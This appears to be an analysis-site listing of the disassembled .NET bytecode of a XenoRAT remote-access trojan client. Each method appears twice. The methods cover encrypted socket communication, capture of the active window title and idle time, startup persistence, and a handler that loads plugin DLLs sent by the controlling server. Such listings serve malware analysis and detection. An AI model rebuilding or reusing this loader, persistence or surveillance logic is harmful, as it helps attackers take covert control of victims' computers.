File xenorat_388d80a52076aa1f8329606606b21086eddf22d051624057b329c9250489f0c7.exe
Function:
Loading..
00002078
00002078xeno_rat_client.Compression::.ctor:
00002078ldarg.0
00002079call .ctor
0000207eret
00002078
00002078xeno_rat_client.Compression::.ctor:
00002078ldarg.0
00002079call .ctor
0000207eret
00002078
00002078
00002078xeno_rat_client.Encryption::.ctor:
00002078ldarg.0
00002079call .ctor
0000207eret
00002078
00002078xeno_rat_client.Encryption::.ctor:
00002078ldarg.0
00002079call .ctor
0000207eret
00002078
00002078
00002078<>c::.ctor:
00002078ldarg.0
00002079call .ctor
0000207eret
00002078
00002078<>c::.ctor:
00002078ldarg.0
00002079call .ctor
0000207eret
00002078
00002078
00002078xeno_rat_client.Program::.ctor:
00002078ldarg.0
00002079call .ctor
0000207eret
00002078
00002078xeno_rat_client.Program::.ctor:
00002078ldarg.0
00002079call .ctor
0000207eret
00002078
00002078
00002078xeno_rat_client.Utils::.ctor:
00002078ldarg.0
00002079call .ctor
0000207eret
00002078
00002078xeno_rat_client.Utils::.ctor:
00002078ldarg.0
00002079call .ctor
0000207eret
00002078
00002078
00002078<>c::.ctor:
00002078ldarg.0
00002079call .ctor
0000207eret
00002078
00002078<>c::.ctor:
00002078ldarg.0
00002079call .ctor
0000207eret
00002078
00002078
00002078<>c__DisplayClass16_0::.ctor:
00002078ldarg.0
00002079call .ctor
0000207eret
00002078
00002078<>c__DisplayClass16_0::.ctor:
00002078ldarg.0
00002079call .ctor
0000207eret
00002078
00002078
00002078<>c__DisplayClass18_0::.ctor:
00002078ldarg.0
00002079call .ctor
0000207eret
00002078
00002078<>c__DisplayClass18_0::.ctor:
00002078ldarg.0
00002079call .ctor
0000207eret
00002078
00002080
00002080xeno_rat_client.DllHandler::.ctor:
00002080ldarg.0
00002081newobj .ctor
00002086stfld Assemblies
0000208bldarg.0
0000208cldstr "Plugin.Main"
00002091stfld classpath
00002096ldarg.0
00002097call .ctor
0000209ccall get_CurrentDomain
000020a1ldnull
000020a2ldftn CurrentDomain_AssemblyResolve
000020a8newobj .ctor
000020adcallvirt add_AssemblyResolve
000020b2ret
00002080
00002080xeno_rat_client.DllHandler::.ctor:
00002080ldarg.0
00002081newobj .ctor
00002086stfld Assemblies
0000208bldarg.0
0000208cldstr "Plugin.Main"
00002091stfld classpath
00002096ldarg.0
00002097call .ctor
0000209ccall get_CurrentDomain
000020a1ldnull
000020a2ldftn CurrentDomain_AssemblyResolve
000020a8newobj .ctor
000020adcallvirt add_AssemblyResolve
000020b2ret
00002080
000020b4
000020b4xeno_rat_client.DllHandler::CurrentDomain_AssemblyResolve:
000020b4ldarg.1
000020b5callvirt get_Name
000020banewobj .ctor
000020bfcall get_Name
000020c4ldstr "xeno rat client"
000020c9call op_Equality
000020cebrfalse.s IL_0022
000020d0call GetExecutingAssembly
000020d5ret
000020d6ldnull
000020d7ret
000020b4
000020b4xeno_rat_client.DllHandler::CurrentDomain_AssemblyResolve:
000020b4ldarg.1
000020b5callvirt get_Name
000020banewobj .ctor
000020bfcall get_Name
000020c4ldstr "xeno rat client"
000020c9call op_Equality
000020cebrfalse.s IL_0022
000020d0call GetExecutingAssembly
000020d5ret
000020d6ldnull
000020d7ret
000020b4
000020d9
000020d9<DllNodeHandler>d__3::SetStateMachine:
000020d9ldarg.0
000020daldflda <>t__builder
000020dfldarg.1
000020e0call SetStateMachine
000020e5ret
000020d9
000020d9<DllNodeHandler>d__3::SetStateMachine:
000020d9ldarg.0
000020daldflda <>t__builder
000020dfldarg.1
000020e0call SetStateMachine
000020e5ret
000020d9
000020e7
000020e7xeno_rat_client.Handler::.ctor:
000020e7ldarg.0
000020e8call .ctor
000020edldarg.0
000020eeldarg.2
000020efstfld dllhandler
000020f4ldarg.0
000020f5ldarg.1
000020f6stfld Main
000020fbret
000020e7
000020e7xeno_rat_client.Handler::.ctor:
000020e7ldarg.0
000020e8call .ctor
000020edldarg.0
000020eeldarg.2
000020efstfld dllhandler
000020f4ldarg.0
000020f5ldarg.1
000020f6stfld Main
000020fbret
000020e7
000020fd
000020fdxeno_rat_client.Handler::OnDisconnect:
000020fdret
000020fd
000020fdxeno_rat_client.Handler::OnDisconnect:
000020fdret
000020fd
000020ff
000020ff<CreateSubSock>d__3::SetStateMachine:
000020ffldarg.0
00002100ldflda <>t__builder
00002105ldarg.1
00002106call SetStateMachine
0000210bret
000020ff
000020ff<CreateSubSock>d__3::SetStateMachine:
000020ffldarg.0
00002100ldflda <>t__builder
00002105ldarg.1
00002106call SetStateMachine
0000210bret
000020ff
0000210d
0000210d<DebugMenu>d__10::SetStateMachine:
0000210dldarg.0
0000210eldflda <>t__builder
00002113ldarg.1
00002114call SetStateMachine
00002119ret
0000210d
0000210d<DebugMenu>d__10::SetStateMachine:
0000210dldarg.0
0000210eldflda <>t__builder
00002113ldarg.1
00002114call SetStateMachine
00002119ret
0000210d
0000211b
0000211b<GetAndSendInfo>d__5::SetStateMachine:
0000211bldarg.0
0000211cldflda <>t__builder
00002121ldarg.1
00002122call SetStateMachine
00002127ret
0000211b
0000211b<GetAndSendInfo>d__5::SetStateMachine:
0000211bldarg.0
0000211cldflda <>t__builder
00002121ldarg.1
00002122call SetStateMachine
00002127ret
0000211b
00002129
00002129<SendUpdateInfo>d__11::SetStateMachine:
00002129ldarg.0
0000212aldflda <>t__builder
0000212fldarg.1
00002130call SetStateMachine
00002135ret
00002129
00002129<SendUpdateInfo>d__11::SetStateMachine:
00002129ldarg.0
0000212aldflda <>t__builder
0000212fldarg.1
00002130call SetStateMachine
00002135ret
00002129
00002137
00002137<Type0Receive>d__6::SetStateMachine:
00002137ldarg.0
00002138ldflda <>t__builder
0000213dldarg.1
0000213ecall SetStateMachine
00002143ret
00002137
00002137<Type0Receive>d__6::SetStateMachine:
00002137ldarg.0
00002138ldflda <>t__builder
0000213dldarg.1
0000213ecall SetStateMachine
00002143ret
00002137
00002145
00002145<Type1Receive>d__7::SetStateMachine:
00002145ldarg.0
00002146ldflda <>t__builder
0000214bldarg.1
0000214ccall SetStateMachine
00002151ret
00002145
00002145<Type1Receive>d__7::SetStateMachine:
00002145ldarg.0
00002146ldflda <>t__builder
0000214bldarg.1
0000214ccall SetStateMachine
00002151ret
00002145
00002153
00002153<Type2Receive>d__9::SetStateMachine:
00002153ldarg.0
00002154ldflda <>t__builder
00002159ldarg.1
0000215acall SetStateMachine
0000215fret
00002153
00002153<Type2Receive>d__9::SetStateMachine:
00002153ldarg.0
00002154ldflda <>t__builder
00002159ldarg.1
0000215acall SetStateMachine
0000215fret
00002153
00002161
00002161<setSetId>d__8::SetStateMachine:
00002161ldarg.0
00002162ldflda <>t__builder
00002167ldarg.1
00002168call SetStateMachine
0000216dret
00002161
00002161<setSetId>d__8::SetStateMachine:
00002161ldarg.0
00002162ldflda <>t__builder
00002167ldarg.1
00002168call SetStateMachine
0000216dret
00002161
0000216f
0000216fxeno_rat_client.Node::.ctor:
0000216fldarg.0
00002170newobj .ctor
00002175stfld subNodes
0000217aldarg.0
0000217bldc.i4.m1
0000217cstfld ID
00002181ldarg.0
00002182ldc.i4.m1
00002183stfld SetId
00002188ldarg.0
00002189ldc.i4.m1
0000218astfld SockType
0000218fldarg.0
00002190call .ctor
00002195ldarg.0
00002196ldarg.1
00002197stfld sock
0000219cldarg.0
0000219dldarg.2
0000219estfld OnDisconnect
000021a3ret
0000216f
0000216fxeno_rat_client.Node::.ctor:
0000216fldarg.0
00002170newobj .ctor
00002175stfld subNodes
0000217aldarg.0
0000217bldc.i4.m1
0000217cstfld ID
00002181ldarg.0
00002182ldc.i4.m1
00002183stfld SetId
00002188ldarg.0
00002189ldc.i4.m1
0000218astfld SockType
0000218fldarg.0
00002190call .ctor
00002195ldarg.0
00002196ldarg.1
00002197stfld sock
0000219cldarg.0
0000219dldarg.2
0000219estfld OnDisconnect
000021a3ret
0000216f
000021a5
000021a5xeno_rat_client.Node::AddSubNode:
000021a5ldarg.0
000021a6ldfld subNodes
000021abldarg.1
000021accallvirt Add
000021b1ret
000021a5
000021a5xeno_rat_client.Node::AddSubNode:
000021a5ldarg.0
000021a6ldfld subNodes
000021abldarg.1
000021accallvirt Add
000021b1ret
000021a5
000021b3
000021b3xeno_rat_client.Node::ByteArrayCompare:
000021b3ldarg.1
000021b4ldlen
000021b5conv.i4
000021b6ldarg.2
000021b7ldlen
000021b8conv.i4
000021b9bne.un.s IL_0017
000021bbldarg.1
000021bcldarg.2
000021bdldarg.1
000021beldlen
000021bfconv.i4
000021c0conv.i8
000021c1call memcmp
000021c6ldc.i4.0
000021c7ceq
000021c9ret
000021caldc.i4.0
000021cbret
000021b3
000021b3xeno_rat_client.Node::ByteArrayCompare:
000021b3ldarg.1
000021b4ldlen
000021b5conv.i4
000021b6ldarg.2
000021b7ldlen
000021b8conv.i4
000021b9bne.un.s IL_0017
000021bbldarg.1
000021bcldarg.2
000021bdldarg.1
000021beldlen
000021bfconv.i4
000021c0conv.i8
000021c1call memcmp
000021c6ldc.i4.0
000021c7ceq
000021c9ret
000021caldc.i4.0
000021cbret
000021b3
000021cd
000021cdxeno_rat_client.Node::SetRecvTimeout:
000021cdldarg.0
000021celdfld sock
000021d3ldarg.1
000021d4callvirt SetRecvTimeout
000021d9ret
000021cd
000021cdxeno_rat_client.Node::SetRecvTimeout:
000021cdldarg.0
000021celdfld sock
000021d3ldarg.1
000021d4callvirt SetRecvTimeout
000021d9ret
000021cd
000021db
000021dbxeno_rat_client.Node::ResetRecvTimeout:
000021dbldarg.0
000021dcldfld sock
000021e1callvirt ResetRecvTimeout
000021e6ret
000021db
000021dbxeno_rat_client.Node::ResetRecvTimeout:
000021dbldarg.0
000021dcldfld sock
000021e1callvirt ResetRecvTimeout
000021e6ret
000021db
000021e8
000021e8<AuthenticateAsync>d__18::SetStateMachine:
000021e8ldarg.0
000021e9ldflda <>t__builder
000021eeldarg.1
000021efcall SetStateMachine
000021f4ret
000021e8
000021e8<AuthenticateAsync>d__18::SetStateMachine:
000021e8ldarg.0
000021e9ldflda <>t__builder
000021eeldarg.1
000021efcall SetStateMachine
000021f4ret
000021e8
000021f6
000021f6<ConnectSubSockAsync>d__11::SetStateMachine:
000021f6ldarg.0
000021f7ldflda <>t__builder
000021fcldarg.1
000021fdcall SetStateMachine
00002202ret
000021f6
000021f6<ConnectSubSockAsync>d__11::SetStateMachine:
000021f6ldarg.0
000021f7ldflda <>t__builder
000021fcldarg.1
000021fdcall SetStateMachine
00002202ret
000021f6
00002204
00002204<Disconnect>d__10::SetStateMachine:
00002204ldarg.0
00002205ldflda <>t__builder
0000220aldarg.1
0000220bcall SetStateMachine
00002210ret
00002204
00002204<Disconnect>d__10::SetStateMachine:
00002204ldarg.0
00002205ldflda <>t__builder
0000220aldarg.1
0000220bcall SetStateMachine
00002210ret
00002204
00002212
00002212<ReceiveAsync>d__13::SetStateMachine:
00002212ldarg.0
00002213ldflda <>t__builder
00002218ldarg.1
00002219call SetStateMachine
0000221eret
00002212
00002212<ReceiveAsync>d__13::SetStateMachine:
00002212ldarg.0
00002213ldflda <>t__builder
00002218ldarg.1
00002219call SetStateMachine
0000221eret
00002212
00002220
00002220<SendAsync>d__14::SetStateMachine:
00002220ldarg.0
00002221ldflda <>t__builder
00002226ldarg.1
00002227call SetStateMachine
0000222cret
00002220
00002220<SendAsync>d__14::SetStateMachine:
00002220ldarg.0
00002221ldflda <>t__builder
00002226ldarg.1
00002227call SetStateMachine
0000222cret
00002220
0000222e
0000222exeno_rat_client.header::.ctor:
0000222eldarg.0
0000222fldc.i4.1
00002230stfld T_offset
00002235ldarg.0
00002236call .ctor
0000223bret
0000222e
0000222exeno_rat_client.header::.ctor:
0000222eldarg.0
0000222fldc.i4.1
00002230stfld T_offset
00002235ldarg.0
00002236call .ctor
0000223bret
0000222e
0000223d
0000223dxeno_rat_client.SocketHandler::.ctor:
0000223dldarg.0
0000223ecall .ctor
00002243ldarg.0
00002244ldarg.1
00002245stfld sock
0000224aldarg.0
0000224bldfld sock
00002250ldc.i4.1
00002251callvirt set_NoDelay
00002256ldarg.0
00002257ldarg.2
00002258stfld EncryptionKey
0000225dret
0000223d
0000223dxeno_rat_client.SocketHandler::.ctor:
0000223dldarg.0
0000223ecall .ctor
00002243ldarg.0
00002244ldarg.1
00002245stfld sock
0000224aldarg.0
0000224bldfld sock
00002250ldc.i4.1
00002251callvirt set_NoDelay
00002256ldarg.0
00002257ldarg.2
00002258stfld EncryptionKey
0000225dret
0000223d
0000225f
0000225fxeno_rat_client.SocketHandler::SetRecvTimeout:
0000225fldarg.0
00002260ldarg.1
00002261stfld socktimeout
00002266ldarg.0
00002267ldfld sock
0000226cldarg.1
0000226dcallvirt set_ReceiveTimeout
00002272ret
0000225f
0000225fxeno_rat_client.SocketHandler::SetRecvTimeout:
0000225fldarg.0
00002260ldarg.1
00002261stfld socktimeout
00002266ldarg.0
00002267ldfld sock
0000226cldarg.1
0000226dcallvirt set_ReceiveTimeout
00002272ret
0000225f
00002274
00002274xeno_rat_client.SocketHandler::ResetRecvTimeout:
00002274ldarg.0
00002275ldc.i4.0
00002276stfld socktimeout
0000227bldarg.0
0000227cldfld sock
00002281ldc.i4.0
00002282callvirt set_ReceiveTimeout
00002287ret
00002274
00002274xeno_rat_client.SocketHandler::ResetRecvTimeout:
00002274ldarg.0
00002275ldc.i4.0
00002276stfld socktimeout
0000227bldarg.0
0000227cldfld sock
00002281ldc.i4.0
00002282callvirt set_ReceiveTimeout
00002287ret
00002274
00002295
00002295<>c::<Concat>b__6_0:
00002295ldarg.1
00002296ret
00002295
00002295<>c::<Concat>b__6_0:
00002295ldarg.1
00002296ret
00002295
00002298
00002298<ReceiveAsync>d__10::SetStateMachine:
00002298ldarg.0
00002299ldflda <>t__builder
0000229eldarg.1
0000229fcall SetStateMachine
000022a4ret
00002298
00002298<ReceiveAsync>d__10::SetStateMachine:
00002298ldarg.0
00002299ldflda <>t__builder
0000229eldarg.1
0000229fcall SetStateMachine
000022a4ret
00002298
000022a6
000022a6<RecvAllAsync_ddos_safer>d__5::SetStateMachine:
000022a6ldarg.0
000022a7ldflda <>t__builder
000022acldarg.1
000022adcall SetStateMachine
000022b2ret
000022a6
000022a6<RecvAllAsync_ddos_safer>d__5::SetStateMachine:
000022a6ldarg.0
000022a7ldflda <>t__builder
000022acldarg.1
000022adcall SetStateMachine
000022b2ret
000022a6
000022b4
000022b4<RecvAllAsync_ddos_unsafer>d__4::SetStateMachine:
000022b4ldarg.0
000022b5ldflda <>t__builder
000022baldarg.1
000022bbcall SetStateMachine
000022c0ret
000022b4
000022b4<RecvAllAsync_ddos_unsafer>d__4::SetStateMachine:
000022b4ldarg.0
000022b5ldflda <>t__builder
000022baldarg.1
000022bbcall SetStateMachine
000022c0ret
000022b4
000022c2
000022c2<SendAsync>d__9::SetStateMachine:
000022c2ldarg.0
000022c3ldflda <>t__builder
000022c8ldarg.1
000022c9call SetStateMachine
000022ceret
000022c2
000022c2<SendAsync>d__9::SetStateMachine:
000022c2ldarg.0
000022c3ldflda <>t__builder
000022c8ldarg.1
000022c9call SetStateMachine
000022ceret
000022c2
000022d0
000022d0xeno_rat_client.Program::OnDisconnect:
000022d0ldarg.0
000022d1callvirt Connected
000022d6call WriteLine
000022dbret
000022d0
000022d0xeno_rat_client.Program::OnDisconnect:
000022d0ldarg.0
000022d1callvirt Connected
000022d6call WriteLine
000022dbret
000022d0
000022dd
000022dd<Main>d__11::SetStateMachine:
000022ddldarg.0
000022deldflda <>t__builder
000022e3ldarg.1
000022e4call SetStateMachine
000022e9ret
000022dd
000022dd<Main>d__11::SetStateMachine:
000022ddldarg.0
000022deldflda <>t__builder
000022e3ldarg.1
000022e4call SetStateMachine
000022e9ret
000022dd
000022eb
000022ebxeno_rat_client.CapturingConsoleWriter::.ctor:
000022ebldarg.0
000022eccall .ctor
000022f1ldarg.0
000022f2ldarg.1
000022f3stfld originalOut
000022f8ret
000022eb
000022ebxeno_rat_client.CapturingConsoleWriter::.ctor:
000022ebldarg.0
000022eccall .ctor
000022f1ldarg.0
000022f2ldarg.1
000022f3stfld originalOut
000022f8ret
000022eb
000022fa
000022faxeno_rat_client.CapturingConsoleWriter::get_Encoding:
000022faldarg.0
000022fbldfld originalOut
00002300callvirt get_Encoding
00002305ret
000022fa
000022faxeno_rat_client.CapturingConsoleWriter::get_Encoding:
000022faldarg.0
000022fbldfld originalOut
00002300callvirt get_Encoding
00002305ret
000022fa
00002307
00002307xeno_rat_client.CapturingConsoleWriter::Write:
00002307ldsfld ProcessLog
0000230cldarg.1
0000230dcallvirt Append
00002312pop
00002313ldarg.0
00002314ldfld originalOut
00002319ldarg.1
0000231acallvirt Write
0000231fret
00002307
00002307xeno_rat_client.CapturingConsoleWriter::Write:
00002307ldsfld ProcessLog
0000230cldarg.1
0000230dcallvirt Append
00002312pop
00002313ldarg.0
00002314ldfld originalOut
00002319ldarg.1
0000231acallvirt Write
0000231fret
00002307
00002321
00002321xeno_rat_client.CapturingConsoleWriter::WriteLine:
00002321ldsfld ProcessLog
00002326ldarg.1
00002327callvirt AppendLine
0000232cpop
0000232dldarg.0
0000232eldfld originalOut
00002333ldarg.1
00002334callvirt WriteLine
00002339ret
00002321
00002321xeno_rat_client.CapturingConsoleWriter::WriteLine:
00002321ldsfld ProcessLog
00002326ldarg.1
00002327callvirt AppendLine
0000232cpop
0000232dldarg.0
0000232eldfld originalOut
00002333ldarg.1
00002334callvirt WriteLine
00002339ret
00002321
0000233b
0000233bxeno_rat_client.CapturingConsoleWriter::GetCapturedOutput:
0000233bldsfld ProcessLog
00002340callvirt ToString
00002345ret
0000233b
0000233bxeno_rat_client.CapturingConsoleWriter::GetCapturedOutput:
0000233bldsfld ProcessLog
00002340callvirt ToString
00002345ret
0000233b
00002347
00002347xeno_rat_client.CapturingConsoleWriter::ClearCapturedOutput:
00002347ldsfld ProcessLog
0000234ccallvirt Clear
00002351pop
00002352ret
00002347
00002347xeno_rat_client.CapturingConsoleWriter::ClearCapturedOutput:
00002347ldsfld ProcessLog
0000234ccallvirt Clear
00002351pop
00002352ret
00002347
00002360
00002360<>c::<GetCaptionOfActiveWindowAsync>b__8_0:
00002360call GetCaptionOfActiveWindow
00002365ret
00002360
00002360<>c::<GetCaptionOfActiveWindowAsync>b__8_0:
00002360call GetCaptionOfActiveWindow
00002365ret
00002360
0000236e
0000236e<AddToStartupAdmin>d__19::SetStateMachine:
0000236eldarg.0
0000236fldflda <>t__builder
00002374ldarg.1
00002375call SetStateMachine
0000237aret
0000236e
0000236e<AddToStartupAdmin>d__19::SetStateMachine:
0000236eldarg.0
0000236fldflda <>t__builder
00002374ldarg.1
00002375call SetStateMachine
0000237aret
0000236e
0000237c
0000237c<AddToStartupNonAdmin>d__18::SetStateMachine:
0000237cldarg.0
0000237dldflda <>t__builder
00002382ldarg.1
00002383call SetStateMachine
00002388ret
0000237c
0000237c<AddToStartupNonAdmin>d__18::SetStateMachine:
0000237cldarg.0
0000237dldflda <>t__builder
00002382ldarg.1
00002383call SetStateMachine
00002388ret
0000237c
0000238a
0000238a<ConnectAndSetupAsync>d__15::SetStateMachine:
0000238aldarg.0
0000238bldflda <>t__builder
00002390ldarg.1
00002391call SetStateMachine
00002396ret
0000238a
0000238a<ConnectAndSetupAsync>d__15::SetStateMachine:
0000238aldarg.0
0000238bldflda <>t__builder
00002390ldarg.1
00002391call SetStateMachine
00002396ret
0000238a
00002398
00002398<GetCaptionOfActiveWindowAsync>d__8::SetStateMachine:
00002398ldarg.0
00002399ldflda <>t__builder
0000239eldarg.1
0000239fcall SetStateMachine
000023a4ret
00002398
00002398<GetCaptionOfActiveWindowAsync>d__8::SetStateMachine:
00002398ldarg.0
00002399ldflda <>t__builder
0000239eldarg.1
0000239fcall SetStateMachine
000023a4ret
00002398
000023a6
000023a6<GetIdleTimeAsync>d__20::SetStateMachine:
000023a6ldarg.0
000023a7ldflda <>t__builder
000023acldarg.1
000023adcall SetStateMachine
000023b2ret
000023a6
000023a6<GetIdleTimeAsync>d__20::SetStateMachine:
000023a6ldarg.0
000023a7ldflda <>t__builder
000023acldarg.1
000023adcall SetStateMachine
000023b2ret
000023a6
000023b4
000023b4<RemoveStartup>d__16::SetStateMachine:
000023b4ldarg.0
000023b5ldflda <>t__builder
000023baldarg.1
000023bbcall SetStateMachine
000023c0ret
000023b4
000023b4<RemoveStartup>d__16::SetStateMachine:
000023b4ldarg.0
000023b5ldflda <>t__builder
000023baldarg.1
000023bbcall SetStateMachine
000023c0ret
000023b4
000023c2
000023c2<Uninstall>d__17::SetStateMachine:
000023c2ldarg.0
000023c3ldflda <>t__builder
000023c8ldarg.1
000023c9call SetStateMachine
000023ceret
000023c2
000023c2<Uninstall>d__17::SetStateMachine:
000023c2ldarg.0
000023c3ldflda <>t__builder
000023c8ldarg.1
000023c9call SetStateMachine
000023ceret
000023c2
000023d0
000023d0xeno_rat_client.Compression::Compress:
000023d0ldarg.0
000023d1ldlen
000023d2conv.i4
000023d3ldc.i4.6
000023d4mul
000023d5newarr System.Byte
000023dastloc.0
000023dbldc.i4.0
000023dcstloc.1
000023ddldc.i4.0
000023destloc.2
000023dfldc.i4 258
000023e4ldloca.s 1
000023e6ldloca.s 2
000023e8call RtlGetCompressionWorkSpaceSize
000023edbrfalse.s IL_0021
000023efldnull
000023f0ret
000023f1ldc.i4.0
000023f2stloc.3
000023f3ldc.i4.0
000023f4ldloc.1
000023f5conv.u8
000023f6newobj .ctor
000023fbcall LocalAlloc
00002400stloc.s 4
00002402ldc.i4 258
00002407ldarg.0
00002408ldarg.0
00002409ldlen
0000240aconv.i4
0000240bldloc.0
0000240cldloc.0
0000240dldlen
0000240econv.i4
0000240fldc.i4.0
00002410ldloca.s 3
00002412ldloc.s 4
00002414call RtlCompressBuffer
00002419brfalse.s IL_0055
0000241bldloc.s 4
0000241dcall LocalFree
00002422pop
00002423ldnull
00002424ret
00002425ldloc.s 4
00002427call LocalFree
0000242cpop
0000242dldloca.s 0
0000242fldloc.3
00002430call 0x2B000001
00002435ldloc.0
00002436ret
000023d0
000023d0xeno_rat_client.Compression::Compress:
000023d0ldarg.0
000023d1ldlen
000023d2conv.i4
000023d3ldc.i4.6
000023d4mul
000023d5newarr System.Byte
000023dastloc.0
000023dbldc.i4.0
000023dcstloc.1
000023ddldc.i4.0
000023destloc.2
000023dfldc.i4 258
000023e4ldloca.s 1
000023e6ldloca.s 2
000023e8call RtlGetCompressionWorkSpaceSize
000023edbrfalse.s IL_0021
000023efldnull
000023f0ret
000023f1ldc.i4.0
000023f2stloc.3
000023f3ldc.i4.0
000023f4ldloc.1
000023f5conv.u8
000023f6newobj .ctor
000023fbcall LocalAlloc
00002400stloc.s 4
00002402ldc.i4 258
00002407ldarg.0
00002408ldarg.0
00002409ldlen
0000240aconv.i4
0000240bldloc.0
0000240cldloc.0
0000240dldlen
0000240econv.i4
0000240fldc.i4.0
00002410ldloca.s 3
00002412ldloc.s 4
00002414call RtlCompressBuffer
00002419brfalse.s IL_0055
0000241bldloc.s 4
0000241dcall LocalFree
00002422pop
00002423ldnull
00002424ret
00002425ldloc.s 4
00002427call LocalFree
0000242cpop
0000242dldloca.s 0
0000242fldloc.3
00002430call 0x2B000001
00002435ldloc.0
00002436ret
000023d0
00002444
00002444xeno_rat_client.Compression::Decompress:
00002444ldc.i4.0
00002445stloc.0
00002446ldarg.1
00002447newarr System.Byte
0000244cstloc.1
0000244dldc.i4.2
0000244eldloc.1
0000244fldarg.1
00002450ldarg.0
00002451ldarg.0
00002452ldlen
00002453conv.i4
00002454ldloca.s 0
00002456call RtlDecompressBuffer
0000245bpop
0000245cldloc.1
0000245dret
00002444
00002444xeno_rat_client.Compression::Decompress:
00002444ldc.i4.0
00002445stloc.0
00002446ldarg.1
00002447newarr System.Byte
0000244cstloc.1
0000244dldc.i4.2
0000244eldloc.1
0000244fldarg.1
00002450ldarg.0
00002451ldarg.0
00002452ldlen
00002453conv.i4
00002454ldloca.s 0
00002456call RtlDecompressBuffer
0000245bpop
0000245cldloc.1
0000245dret
00002444
0000246c
0000246cxeno_rat_client.DllHandler::DllNodeHandler:
0000246cldloca.s 0
0000246ecall Create
00002473stfld <>t__builder
00002478ldloca.s 0
0000247aldarg.0
0000247bstfld <>4__this
00002480ldloca.s 0
00002482ldarg.1
00002483stfld subServer
00002488ldloca.s 0
0000248aldc.i4.m1
0000248bstfld <>1__state
00002490ldloca.s 0
00002492ldflda <>t__builder
00002497ldloca.s 0
00002499call 0x2B000002
0000249eldloca.s 0
000024a0ldflda <>t__builder
000024a5call get_Task
000024aaret
0000246c
0000246cxeno_rat_client.DllHandler::DllNodeHandler:
0000246cldloca.s 0
0000246ecall Create
00002473stfld <>t__builder
00002478ldloca.s 0
0000247aldarg.0
0000247bstfld <>4__this
00002480ldloca.s 0
00002482ldarg.1
00002483stfld subServer
00002488ldloca.s 0
0000248aldc.i4.m1
0000248bstfld <>1__state
00002490ldloca.s 0
00002492ldflda <>t__builder
00002497ldloca.s 0
00002499call 0x2B000002
0000249eldloca.s 0
000024a0ldflda <>t__builder
000024a5call get_Task
000024aaret
0000246c
000024b8
000024b8<DllNodeHandler>d__3::MoveNext:
000024b8ldarg.0
000024b9ldfld <>1__state
000024bestloc.0
000024bfldarg.0
000024c0ldfld <>4__this
000024c5stloc.1
000024c6ldloc.0
000024c7switch (IL_006e, IL_006e, IL_006e, IL_006e, IL_006e, IL_03a3, IL_041c)
000024e8ldarg.0
000024e9ldc.i4.1
000024eanewarr System.Byte
000024efdup
000024f0ldc.i4.0
000024f1ldc.i4.1
000024f2stelem.i1
000024f3stfld <getdll>5__2
000024f8ldarg.0
000024f9ldc.i4.1
000024fanewarr System.Byte
000024ffstfld <hasdll>5__3
00002504ldarg.0
00002505ldc.i4.1
00002506newarr System.Byte
0000250bdup
0000250cldc.i4.0
0000250dldc.i4.2
0000250estelem.i1
0000250fstfld <fail>5__4
00002514ldc.i4.1
00002515newarr System.Byte
0000251adup
0000251bldc.i4.0
0000251cldc.i4.3
0000251dstelem.i1
0000251epop
0000251fldarg.0
00002520ldc.i4.0
00002521stfld <>7__wrap5
00002526nop
00002527ldloc.0
00002528switch (IL_00c8, IL_0164, IL_01c8, IL_0256, IL_02fd)
00002541ldarg.0
00002542ldfld subServer
00002547callvirt ReceiveAsync
0000254ccallvirt GetAwaiter
00002551stloc.s 4
00002553ldloca.s 4
00002555call get_IsCompleted
0000255abrtrue.s IL_00e5
0000255cldarg.0
0000255dldc.i4.0
0000255edup
0000255fstloc.0
00002560stfld <>1__state
00002565ldarg.0
00002566ldloc.s 4
00002568stfld <>u__1
0000256dldarg.0
0000256eldflda <>t__builder
00002573ldloca.s 4
00002575ldarg.0
00002576call 0x2B000003
0000257bleave IL_04b7
00002580ldarg.0
00002581ldfld <>u__1
00002586stloc.s 4
00002588ldarg.0
00002589ldflda <>u__1
0000258einitobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<uint8[]>
00002594ldarg.0
00002595ldc.i4.m1
00002596dup
00002597stloc.0
00002598stfld <>1__state
0000259dldloca.s 4
0000259fcall GetResult
000025a4stloc.2
000025a5ldarg.0
000025a6call get_UTF8
000025abldloc.2
000025accallvirt GetString
000025b1stfld <dllname>5__7
000025b6ldarg.0
000025b7ldfld <dllname>5__7
000025bccall WriteLine
000025c1ldloc.1
000025c2ldfld Assemblies
000025c7ldarg.0
000025c8ldfld <dllname>5__7
000025cdcallvirt ContainsKey
000025d2brtrue IL_0211
000025d7ldarg.0
000025d8ldfld subServer
000025ddldarg.0
000025deldfld <getdll>5__2
000025e3callvirt SendAsync
000025e8callvirt GetAwaiter
000025edstloc.s 6
000025efldloca.s 6
000025f1call get_IsCompleted
000025f6brtrue.s IL_0181
000025f8ldarg.0
000025f9ldc.i4.1
000025fadup
000025fbstloc.0
000025fcstfld <>1__state
00002601ldarg.0
00002602ldloc.s 6
00002604stfld <>u__2
00002609ldarg.0
0000260aldflda <>t__builder
0000260fldloca.s 6
00002611ldarg.0
00002612call 0x2B000004
00002617leave IL_04b7
0000261cldarg.0
0000261dldfld <>u__2
00002622stloc.s 6
00002624ldarg.0
00002625ldflda <>u__2
0000262ainitobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<bool>
00002630ldarg.0
00002631ldc.i4.m1
00002632dup
00002633stloc.0
00002634stfld <>1__state
00002639ldloca.s 6
0000263bcall GetResult
00002640pop
00002641ldarg.0
00002642ldfld subServer
00002647callvirt ReceiveAsync
0000264ccallvirt GetAwaiter
00002651stloc.s 4
00002653ldloca.s 4
00002655call get_IsCompleted
0000265abrtrue.s IL_01e5
0000265cldarg.0
0000265dldc.i4.2
0000265edup
0000265fstloc.0
00002660stfld <>1__state
00002665ldarg.0
00002666ldloc.s 4
00002668stfld <>u__1
0000266dldarg.0
0000266eldflda <>t__builder
00002673ldloca.s 4
00002675ldarg.0
00002676call 0x2B000003
0000267bleave IL_04b7
00002680ldarg.0
00002681ldfld <>u__1
00002686stloc.s 4
00002688ldarg.0
00002689ldflda <>u__1
0000268einitobj valuetype System.Runtime.CompilerServices.TaskAwaiter`1<uint8[]>
00002694ldarg.0
00002695ldc.i4.m1
00002696dup
00002697stloc.0
00002698stfld <>1__state
0000269dldloca.s 4
0000269fcall GetResult
000026a4stloc.s 5
000026a6ldloc.s 5
000026a8ldlen
000026a9conv.i4
000026aacall WriteLine
000026afldloc.1
000026b0ldfld Assemblies
000026b5ldarg.0
000026b6ldfld <dllname>5__7
000026bbldloc.s 5
000026bdcall Load
000026c2callvirt set_Item
000026c7br.s IL_027b
000026c9ldarg.0
000026caldfld subServer
000026cfldarg.0
000026d0ldfld <hasdll>5__3
000026d5callvirt SendAsync
